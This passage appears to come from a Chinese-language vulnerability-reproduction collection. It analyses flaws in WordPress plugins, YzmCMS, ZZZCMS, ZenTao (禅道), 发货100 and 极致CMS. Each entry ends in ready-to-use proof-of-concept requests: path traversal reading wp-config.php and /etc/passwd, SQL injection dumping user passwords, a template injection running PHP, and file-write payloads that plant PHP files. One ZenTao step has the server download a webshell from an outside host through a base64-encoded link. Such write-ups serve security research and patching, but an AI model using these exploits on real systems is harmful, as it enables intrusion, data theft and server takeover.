add_action( 'wp_ajax_nopriv_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
add_action( 'wp_ajax_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
$hash_arg = md5( trailingslashit( network_site_url() ) . '-redux' );
add_action( 'wp_ajax_nopriv_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
add_action( 'wp_ajax_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
add_action( 'wp_ajax_redux_support_hash', array( 'Redux_Functions', 'support_hash' ) );
add_filter( 'redux/tracking/options', array( 'Redux_Helpers', 'redux_stats_additions' ) );
查看 add_action 注册的函数 hash_arg() 和 support_args()
public static function hash_arg() {
echo esc_html( md5( Redux_Functions_Ex::hash_key() . '-redux' ) );
die();
}
public static function support_args() {
header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . 'GMT' );
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );
$instances = Redux::all_instances();
if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
if ( is_array( $instances ) && ! empty( $instances ) ) {
foreach ( $instances as $opt_name => $data ) {
if ( md5( $opt_name . '-debug' ) === $_REQUEST['i'] ) { // phpcs:ignore WordPress.Security.NonceVerification
$array = $data;
}
}
}
if ( isset( $array ) ) {
// We only want the extension names and versions.
$array->extensions = self::get_extensions( $opt_name );
$to_return = array();
// Filter out all the unwanted data.
foreach ( $array as $key => $value ) {
if ( in_array(
$key,
array(
// 'fields',
'extensions',
'sections',
'args',
// 'field_types'
),
true
) ) {
$to_return[ $key ] = $value;
} else { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement
// phpcs:ignore Squiz.PHP.CommentedOutCode
/* echo $key.PHP_EOL; */
}
}
$array = $to_return;
} else {
die();
}
} else {
$array = self::get_statistics_object();
if ( is_array( $instances ) && ! empty( $instances ) ) {
$array['instances'] = array();
foreach ( $instances as $opt_name => $data ) {
$array['instances'][] = $opt_name;
}
}
$array['key'] = md5( Redux_Functions_Ex::hash_key() );
}
ksort( $array ); // Let's make that pretty.
// phpcs:ignored WordPress.PHP.NoSilencedErrors, WordPress.Security.EscapeOutput
echo @htmlspecialchars( @wp_json_encode( $array, true ), ENT_QUOTES );
die();
}
support_args() 函数 $_REQUEST[‘i’] 为空,来到另一处分支
} else {
$array = self::get_statistics_object();
if ( is_array( $instances ) && ! empty( $instances ) ) {
$array['instances'] = array();
foreach ( $instances as $opt_name => $data ) {
$array['instances'][] = $opt_name;
}
}
$array['key'] = md5( Redux_Functions_Ex::hash_key() );
}
跟踪 get_statistics_object() 函数,该函数可以获取 插件等环境变量 信息
回过头可以看到该函数 为 wp_ajax_nopriv_* 可未授权调用
其中需要变量 $support_hash, 跟踪 hash_key() 方法
$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );
wp-config.php 中存在 AUTH_KEY 参数,为随机值
这里回到 hash_arg() 函数
public static function hash_arg() {
echo esc_html( md5( Redux_Functions_Ex::hash_key() . '-redux' ) );
die();
}
这里就调用到了 Redux_Functions_Ex::hash_key() 中的函数,且返回 md5值
回到刚刚的代码中,可以发现得到的结果同样也是 $support_hash 我们所需要知道的参数,下面为等价替换
$support_hash = md5(hash_arg(). '-support' );
这样我们就获取到了一个利用链
$hash_arg = md5( trailingslashit( network_site_url() ) . '-redux' );
add_action( 'wp_ajax_nopriv_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
|
获取 md5( Redux_Functions_Ex::hash_key() . '-redux') 值
|
$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );
add_action( 'wp_ajax_nopriv_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
|
调用函数 support_args 获取系统敏感信息
成功获取到了插件版本等有关信息
WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119
漏洞描述
WordPress Simple File List插件 ee-downloader.php文件存在任意文件读取漏洞,攻击者通过漏洞可以读取服务器中的任意文件
漏洞影响
插件名
漏洞复现
存在漏洞的文件为 wp-content/plugins/simple-file-list/includes/ee-downloader.php
<?php // Simple File List - ee-downloader.php - rev 1.19 - mitchellbennis@gmail.com
// Force File to Download
// This script is accessed via javascript on ee-download.php
$eeFile = filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW);
if(is_readable($eeFile)) {
header('Pragma: public'); // required
header('Expires: 0'); // no cache
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT');
header('Cache-Control: private',false);
header('Content-Type: ' . mime_content_type($eeFile) );
header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"');
// header('Content-Transfer-Encoding: binary');
header('Content-Length: '. filesize($eeFile)); // provide file size
header('Connection: close');
readfile($eeFile); // Start the download
}
?>
直接传参获取文件信息, 验证POC
/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php
WordPress Welcart e-Commerce progress-check.php 任意文件读取漏洞 CVE-2022-41840
漏洞描述
WordPress Welcart e-Commerce 插件 progress-check.php文件中,存在任意文件读取漏洞,攻击者痛过漏洞可以获取服务器中的任意文件信息
漏洞影响
插件名
漏洞复现
下载后对比更新的文件 usc-e-shop/functions/progress-check.php
修复了参数 progressfile 过滤问题导致的任意文件读取漏洞,验证POC
/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=progress-check.php
YzmCMS
YzmCMS 后台采集模块 SSRF漏洞
漏洞描述
YzmCMS内容管理系统是一款轻量级开源内容管理系统
,它采用自主研发的框架YZMPHP
开发。程序基于PHP+Mysql架构,并采用MVC框架式开发的一款高效开源的内容管理系统,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。
源码存在协议识别的缺陷,导致存在SSRF漏洞
漏洞影响
环境搭建
漏洞复现
登录后台 –> 模块管理 –> 采集管理
添加采集规则
在你的服务器上编辑HTML代码
根目录可能不同,payload需要更改
点击采集读取根目录下的 Flag
出现漏洞的代码位置 yzmcms/yzmphp/core/class/cache_factory.class.php
这里调用 *url_check
* 函数
可以看到这里只检测了前4位是否为 http,使用 httpxxx 即可绕过
ZZZCMS
ZZZCMS parserSearch 远程命令执行漏洞
漏洞描述
ZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞
漏洞影响
网络测绘
漏洞复现
发送如下请求包命令执行
POST /?location=search HTTP/1.1
Host:
Content-Length: 30
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=rbuhrqqhoctntnak8slkascqp1; keys=%7Bif%3A%3DPHPINFO%28%29%7D%7Bend+if%7D%0D%0A
keys={if:=PHPINFO()}{end if}
执行 ping dnslog
禅道
禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
影响版本
环境搭建
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
漏洞复现
这里造成漏洞的原因同样是调用接口权限无限制的原因
接口出现漏洞的原因具体参考可以查看上一篇 禅道 11.6版本 SQL注入漏洞
关于此漏洞的完整分析
第一种方法
查看module/file/moudel.php
下的parseCSV方法
public function parseCSV($fileName)
{
$content = file_get_contents($fileName);
/* Fix bug #890. */
$content = str_replace("\x82\x32", "\x10", $content);
$lines = explode("\n", $content);
$col = -1;
$row = 0;
$data = array();
foreach($lines as $line)
{
$line = trim($line);
$markNum = substr_count($line, '"') - substr_count($line, '\"');
if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
$line = str_replace(',"",', ',,', $line);
$line = str_replace(',"",', ',,', $line);
$line = preg_replace_callback('/(\"{2,})(\,+)/U', array($this, 'removeInterference'), $line);
$line = str_replace('""', '"', $line);
/* if only one column then line is the data. */
if(strpos($line, ',') === false and $col == -1)
{
$data[$row][0] = trim($line, '"');
}
else
{
/* if col is not -1, then the data of column is not end. */
if($col != -1)
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] .= "\n" . $line;
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
continue;
}
else
{
$data[$row][$col] .= "\n" . substr($line, 0, $pos);
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$line = substr($line, $pos + 2);
$col++;
}
}
if($col == -1) $col = 0;
/* explode cols with delimiter. */
while($line)
{
/* the cell has '"', the delimiter is '",'. */
if($line{0} == '"')
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] = substr($line, 1);
/* if line is not empty, then the data of cell is not end. */
if(strlen($line) >= 1) continue 2;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 1, $pos - 1);
$line = substr($line, $pos + 2);
}
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
}
else
{
/* the delimiter default is ','. */
$pos = strpos($line, ',');
/* if line is not delimiter, then line is the data of cell. */
if($pos === false)
{
$data[$row][$col] = $line;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
}
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$col++;
}
}
$row ++;
$col = -1;
}
return $data;
}
这里可以看到以file为模块名、parseCSV为方法名去调用
读取文件
读取的文件名$filename
参数可控,例如读取/etc/passwd
http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd
- ✅注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤
第二种方法
查看module/api/moudel.php
下的getMethod方法
public function getMethod($filePath, $ext = '')
{
$fileName = dirname($filePath);
$className = basename(dirname(dirname($filePath)));
if(!class_exists($className)) helper::import($fileName);
$methodName = basename($filePath);
$method = new ReflectionMethod($className . $ext, $methodName);
$data = new stdClass();
$data->startLine = $method->getStartLine();
$data->endLine = $method->getEndLine();
$data->comment = $method->getDocComment();
$data->parameters = $method->getParameters();
$data->className = $className;
$data->methodName = $methodName;
$data->fileName = $fileName;
$data->post = false;
$file = file($fileName);
for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
{
if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
{
$data->post = true;
}
}
return $data;
}
这里与第一种大同小异,只是调用了不同模块的方法
看到 fileName = dirname(filepath) 这段则为返回的目录名
所以读取/etc/passwd
则需要写为/etc/passwd/1
来绕过
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1
禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞
漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
影响版本
环境搭建
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
漏洞复现
先对禅道的调用流程进行分析,先查看目录www/index.php
首页文件中
这里使用router::createApp
创建了一个APP对象
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
来到framework/base/router.class.php
文件查看到createApp
方法
public static function createApp($appName = 'demo', $appRoot = '', $className = '')
{
if(empty($className)) $className = __CLASS__;
return new $className($appName, $appRoot);
}
这里New了一个对象,查看一下调用方法(348行)
在358行处调用setConfigRoot
方法
$this->setConfigRoot();
public function setConfigRoot()
{
$this->configRoot = $this->basePath . 'config' . DS;
}
在363行处调用loadMainConfig
方法
$this->loadMainConfig();
public function loadMainConfig()
{
/* 初始化$config对象。Init the $config object. */
global $config, $filter;
if(!is_object($config)) $config = new config();
$this->config = $config;
/* 加载主配置文件。 Load the main config file. */
$mainConfigFile = $this->configRoot . 'config.php';
if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
include $mainConfigFile;
}
这里包含了配置文件config.php
配置文件,文件目录为/config/config.php
,在25行定义了调用方法
$config->requestType = 'PATH_INFO'; // 请求类型:PATH_INFO|PATHINFO2|GET。 The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix = '-'; // PATH_INFO和PATH_INFO2模式的分隔符。 The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar = 'm'; // 请求类型为GET:模块变量名。 requestType=GET: the module var name.
$config->methodVar = 'f'; // 请求类型为GET:模块变量名。 requestType=GET: the method var name.
$config->viewVar = 't'; // 请求类型为GET:视图变量名。 requestType=GET: the view var name.
$config->sessionVar = 'zentaosid'; // 请求类型为GET:session变量名。 requestType=GET: the session var name.
$config->views = ',html,json,mhtml,xhtml,'; // 支持的视图类型。 Supported view formats.
可以发现这里存在两种PATH_INFO|PATH_INFO2
:一种是m、f、t来进行调用。另外一种是通过-来进行调用
在index.php中的66行
$app->parseRequest();
public function parseRequest()
{
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}
看到这一条则是判断力两种调用方法
$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'
跟进setRouteByPathInfo方法
public function setRouteByPathInfo()
{
if(!empty($this->URI))
{
/*
* 根据$requestFix分割符,分割网址。
* There's the request seperator, split the URI by it.
**/
if(strpos($this->URI, $this->config->requestFix) !== false)
{
$items = explode($this->config->requestFix, $this->URI);
$this->setModuleName($items[0]);
$this->setMethodName($items[1]);
}
/*
* 如果网址中没有分隔符,使用默认的方法。
* No reqeust seperator, use the default method name.
**/
else
{
$this->setModuleName($this->URI);
$this->setMethodName($this->config->default->method);
}
}
else
{
$this->setModuleName($this->config->default->module); // 使用默认模块 use the default module.
$this->setMethodName($this->config->default->method); // 使用默认方法 use the default method.
}
$this->setControlFile();
}
所以可以推断出调用的方法
例如登录页面
有两种访问方法
http://xxx.xxx.xxx.xxx/index.php?m=user&f=login
http://xxx.xxx.xxx.xxx/user-login.html
再看一下checkPriv方法
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
这里检测了调用模块和方法的权限,可以知道除了isOpenMethod
中定义的公开模块和方法之外,其他的方法都是需要登录的
最后是$app->loadModule();
这段代码
public function loadModule()
{
$appName = $this->appName;
$moduleName = $this->moduleName;
$methodName = $this->methodName;
/*
* 引入该模块的control文件。
* Include the control file of the module.
**/
$file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
chdir(dirname($file2Included));
helper::import($file2Included);
/*
* 设置control的类名。
* Set the class name of the control.
**/
$className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);
/*
* 创建control类的实例。
* Create a instance of the control.
**/
$module = new $className();
if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
$this->control = $module;
/* include default value for module*/
$defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;
/*
* 使用反射机制获取函数参数的默认值。
* Get the default settings of the method to be called using the reflecting.
*
* */
$defaultParams = array();
$methodReflect = new reflectionMethod($className, $methodName);
foreach($methodReflect->getParameters() as $param)
{
$name = $param->getName();
$default = '_NOT_SET';
if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
{
$default = $paramDefaultValue[$appName][$className][$methodName][$name];
}
elseif(isset($paramDefaultValue[$className][$methodName][$name]))
{
$default = $paramDefaultValue[$className][$methodName][$name];
}
elseif($param->isDefaultValueAvailable())
{
$default = $param->getDefaultValue();
}
$defaultParams[$name] = $default;
}
/**
* 根据PATH_INFO或者GET方式设置请求的参数。
* Set params according PATH_INFO or GET.
*/
if($this->config->requestType != 'GET')
{
$this->setParamsByPathInfo($defaultParams);
}
else
{
$this->setParamsByGET($defaultParams);
}
if($this->config->framework->filterParam == 2)
{
$_GET = validater::filterParam($_GET, 'get');
$_COOKIE = validater::filterParam($_COOKIE, 'cookie');
}
/* 调用该方法 Call the method. */
call_user_func_array(array($module, $methodName), $this->params);
return $module;
}
通过之前获取的moduleName
包含对应的control类
文件并实例化,随后调用setParamsByPathInfo
方法从路径中获取方法对应的参数值,最后通过call_user_func_array
方法调用对应control类
中的对应方法并赋值。
我们查看module/api/control.php
文件中的getModel
方法
这里通过call_user_func_array
函数调用所有的model文件
的所有方法。
$result = call_user_func_array(array(&$module, $methodName), $params);
可以看到module/api/moudel.php
中的sql函数
public function sql($sql, $keyField = '')
{
$sql = trim($sql);
if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
a($sql);
if(empty($sql)) return '';
if(stripos($sql, 'select ') !== 0)
{
return $this->lang->api->error->onlySelect;
}
else
{
try
{
$stmt = $this->dao->query($sql);
if(empty($keyField)) return $stmt->fetchAll();
$rows = array();
while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
return $rows;
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
}
这里并没有进行过滤,只使用了代码$sql=trim($sql)
过滤了空格
我们看一下这里的调用这个方法需要的权限
这里可以看到任何用户都可以调用这个模块的方法,所以我们用它调用sql
方法进行查询(空格转换为+,绕过过滤)
http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user
成功执行sql语句
禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞
漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
影响版本
环境搭建
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
漏洞复现
这里造成漏洞的原因同样是调用接口权限无限制的原因
接口出现漏洞的原因具体参考可以查看上一篇 禅道 11.6版本 SQL注入漏洞
关于此漏洞的完整分析
查看module/api/ediyor/moudel.php
下的save方法
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);
$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}
$filePath参数和$fileContent参数
我们是可控的
调用方法往 /tmp
写入一个phpinfo()
POST /api-getModel-editor-save-filePath=/tmp/shell.php
fileContent=<?php phpinfo();?>
在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含
/api-getModel-api-getMethod-filePath=/tmp/shell/1
也可以写入网站目录中
先获取地址
POST /api-getModel-editor-save-filePath=/tmp/shell
fileContent=<?php system('find / -name ioncube.php')?>');?>
访问 /api-getModel-api-getMethod-filePath=/tmp/shell/1
得到目录为 /app/zentaopma/www
请求改为
POST /api-getModel-editor-save-filePath=/tmp/shell
fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>
禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325
漏洞描述
百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。
影响版本
环境搭建
调用接口查询版本信息
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
漏洞复现
- ✅漏洞触发需要后台权限
根据漏洞描述查看修改后的代码片段
修改前
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);
}
修改后
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
$file = basename($link);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
return parent::downloadZipPackage($version, $link);
}
这里传入的参数为版本和link地址,然后base64解码,正则判断是否为http
或https
协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件
可以大写http
或请求FTP
来绕过正则
跟进一下parent::downloadZipPackage
这个方法,跟着来到zentao\module\client\model.php
文件中
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/';
$link = helper::safe64Decode($link);
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
可以简单看到这里获取link传入的文件名,通过fopen
打开该文件,写入禅道目录www/data/client/version
中
查看一下有没有调用这个方法的地方
找到了download
方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法
http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
首先先上传一个恶意文件,可以是FTP也可以是HTTP
例如我上传的文件URL为http://peiqi.tech/SHELL.php
http://peiqi.tech/SHELL.php
|
base64加密 HTTP://peiqi.tech/SHELL.php
|
SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
请求地址则为
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
下载的目录地址为zentaopms\www\data\client\1
目录为version名称
成功上传webshell
禅道 16.5 router.class.php SQL注入漏洞
漏洞描述
禅道 16.5 router.class.php 文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息,危害服务器安全
漏洞影响
网络测绘
漏洞复现
登录页面
16.5 到 16.5.1 版本
更新了 framework/base/router.class.php
文件
account参数
使用了quote方法
进行过滤SQL语句
可以看到这个方法主要是对字段加转义,所以可以推断 16.5 版本中存在SQL注入, 跟踪调试测试SQL注入
验证POC如下, 其中同样存在堆叠注入,通过SQL语句可修改管理员密码等
POST /user-login.html
account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23
发货100
发货100 M_id SQL注入漏洞 CNVD-2021-30193
漏洞描述
发货100 M_id参数存在SQL注入漏洞, 攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
主页面如下
使用POC
/?M_id=1%27&type=product
数据库出现报错, 使用Sqlmap注入
sqlmap -u 'http://xxx.xxx.xxx.xxx/?M_id=11%27&type=product' -p M_id
极致CMS
极致CMS alipay_return_pay SQL注入漏洞
漏洞描述
极致CMS支付插件中存在SQL注入漏洞,通过漏洞可以获取数据库信息
漏洞影响
网络测绘
漏洞复现
登录页面
查看一下进行过滤的函数
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return trim($value);
}
}
//过滤XSS攻击
function SafeFilter(&$arr)
{
$ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
'/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');
if (is_array($arr))
{
foreach ($arr as $key => $value)
{
if (!is_array($value))
{
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if (!get_magic_quotes_gpc()){
$value = addslashes($value);
}
}
$value = preg_replace($ra,'',$value); //删除非打印字符,粗暴式过滤xss可疑字符串
$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
}
else
{
SafeFilter($arr[$key]);
}
}
}
}
看一下执行的SQL语句的函数
// 查询一条
public function find($where=null,$order=null,$fields=null,$limit=1)
{
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}
跟进 findAll 函数
// 查询所有
public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
{
$where = '';
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $value ){
$value = '\''.$value.'\'';
$join[] = "{$key} = {$value}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
if(is_array($order)){
$where .= ' ORDER BY ';
$where .= implode(',', $order);
}else{
if($order!=null)$where .= " ORDER BY ".$order;
}
if(!empty($limit))$where .= " LIMIT {$limit}";
$fields = empty($fields) ? "*" : $fields;
$sql = "SELECT {$fields} FROM {$this->table} {$where}";
return $this->getData($sql);
}
在跟进一下getData函数
//获取数据
public function getData($sql)
{
if(!$result = $this->query($sql))return array();
if(!$this->Statement->rowCount())return array();
$rows = array();
while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}
$this->Statement=null;
array_pop($rows);
return $rows;
}
跟进query执行函数
//执行SQL语句并检查是否错误
public function query($sql){
$this->filter[] = $sql;
$this->Statement = $this->pdo->query($sql);
if ($this->Statement) {
return $this;
}else{
$msg = $this->pdo->errorInfo();
if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
}
}
- ✅看到
$msg = $this->pdo->errorInfo();
语句,也就是说会把数据库报错信息打印在页面上并显示出来并退出 - ✅一套分析下来没有发现对sql语句的过滤,如果得到的数据没有经过
format_param
过滤,会产生注入
例如:
function exploit(){
M('member')->find(['username'=>$_GET['name']]);
}
如果直接这样GET POST REQUEST 带入数据库 会产生报错注入
例如 ./exploit/name=123’ (加一个引号会报错,如果引号没过滤)
现在只需要寻找类型是这样没过滤直接带入数据库的语句就行了
简单寻找下其实这样的地方挺多的,拿一个位置举例子
这里是一个支付插件的位置,蓝色方块1增加代码模拟开通支付宝功能通过验证
可以看到这个函数只使用[htmlspecialchars]来过滤了xss,sql语句没有过滤,用刚刚的方法来注入
可以看到的确出现了sql语句和数据库错误,直接报错注入获取敏感信息
